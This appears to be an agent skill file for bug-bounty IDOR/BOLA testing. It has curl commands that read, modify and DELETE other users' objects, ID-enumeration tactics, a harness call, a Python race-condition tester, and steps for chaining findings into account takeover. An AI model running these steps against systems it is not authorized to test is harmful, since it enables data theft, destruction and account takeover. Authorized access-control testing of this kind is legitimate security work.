Systematic IDOR/BOLA testing with two test accounts. Trigger on: "test IDOR", "check authorization", "access control", "object reference", horizontal/vertical privilege escalation, any endpoint returning user-specific data with an object ID in the URL or body.
auth_required: true endpoint# Verify distinct IDs
grep USER_A_ID {FINDINGS}/credentials/{target}-creds.env
grep USER_B_ID {FINDINGS}/credentials/{target}-creds-b.env
# GATE: If IDs are identical -> STOP. Create new account with auth-manager.
# Verify tokens are live
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" https://{target}/api/v1/profile
# GATE: 401 -> refresh tokens via auth-manager before continuing.
For EVERY endpoint before testing:
# 1. No auth
curl -s https://target.com/api/resource/123 -o no_auth.json
# 2. User A auth
curl -s https://target.com/api/resource/123 -H "Cookie: session=userA" -o user_a.json
# 3. User B auth
curl -s https://target.com/api/resource/123 -H "Cookie: session=userB" -o user_b.json
Decision gate:
| no_auth vs user_a | user_b vs user_a | Verdict |
|---|---|---|
| Same data | Same data | PUBLIC DATA - skip, not IDOR |
| Different (401/403) | Same data | REAL IDOR - proceed to Step 5 |
| Different (partial) | More than no_auth | PARTIAL IDOR - still valid, proceed |
| Different | Different (403) | Access control WORKING - skip |
| ID Format | Strategy |
|---|---|
| Sequential numeric (123, 124, 125) | Enumerate +/-10 from known IDs. Highest IDOR probability. |
| UUID v4 | Must harvest from User A's responses. No guessing. |
| Slug/username | Try User A's slug with User B's token. |
| Email-based | Use User A's email in User B's request. |
| Composite (org_id + user_id) | Test each component independently. |
python {AGENT}/engine/core/idor_harness.py \
{FINDINGS}/phases/api-schema.json \
{FINDINGS}/credentials/{target}-creds.env \
{FINDINGS}/credentials/{target}-creds-b.env \
--out {FINDINGS}/phases/idor-results.json 2>&1 | tee {FINDINGS}/tmp/idor-run.txt
Decision gate on results:
| Confidence | Action |
|---|---|
high (200 + personal fields like email/phone) | Go to Step 5 immediately |
medium (200 + 60%+ body similarity) | Manual check - is the data user-specific or generic? |
low | Skip - likely false positive |
For every candidate from Step 4 or discovered endpoints:
# GET - read IDOR
curl -s -H "Authorization: Bearer $TOKEN_B" \
https://target.com/api/v1/orders/98765 > {FINDINGS}/tmp/order-b.json
# GATE: 200 with User A's data? -> Document. Then test write operations:
# PUT/PATCH - write IDOR (High-Critical)
curl -s -X PUT -H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"name":"IDOR-TEST"}' \
https://target.com/api/v1/orders/98765
# DELETE - destructive IDOR (Critical)
curl -s -o /dev/null -w "%{http_code}" -X DELETE \
-H "Authorization: Bearer $TOKEN_B" \
https://target.com/api/v1/orders/98765
# GATE: 200/204 on DELETE -> STOP. This is Critical. Report immediately.
| IDOR yields... | Immediate next action |
|---|---|
| Email address | Attempt password reset on the platform. If it works -> ATO chain (Critical). |
| Payment method / PII | Invoke data-exfil-deep. GDPR violation (High). |
| Internal/admin ID | Test that ID against admin endpoints (Critical). |
| Write access to profile | Modify email -> trigger password reset -> ATO (Critical). |
GATE: Any chain that reaches ATO -> STOP testing other endpoints. Report the chain.
Every IDOR report MUST contain:
"User B's Bearer token was used. User A's resource ID (
{id}) was used in the request. The response returned User A's private data including{field}. User B has no legitimate access to User A's account."
Minimum evidence:
Before reporting, confirm ALL of these:
GATE: Any checkbox fails -> NOT an IDOR. Do not report.
Race conditions in authorization logic during state transitions:
| User A Action | User B Action | Vulnerability if... |
|---|---|---|
| DELETE /resource/123 | GET /resource/123 | B gets 200 after deletion |
| PUT /user/role (upgrade) | GET /premium/content | B gets 200 during transition |
| POST /password/change | GET /sensitive (old session) | Old session still works |
| DELETE /team/member/B | GET /team/resources (as B) | B still has access |
import threading, requests
def concurrent_test(url_a: str, headers_a: dict, url_b: str, headers_b: dict) -> dict:
results = [None, None]
def req_a(): results[0] = requests.get(url_a, headers=headers_a)
def req_b(): results[1] = requests.get(url_b, headers=headers_b)
t1 = threading.Thread(target=req_a)
t2 = threading.Thread(target=req_b)
t1.start(); t2.start()
t1.join(timeout=10); t2.join(timeout=10)
return {"a_status": results[0].status_code, "b_status": results[1].status_code}
Run 5x minimum. Intermittent races need 5+ reproductions in evidence. CVSS: AC:H unless window > 100ms.
All endpoints tested with no candidates -> move on
All candidates verified as false positives -> move on
Write IDOR found -> report immediately, then continue testing remaining endpoints
2+ hours with no real IDOR -> move to next attack surface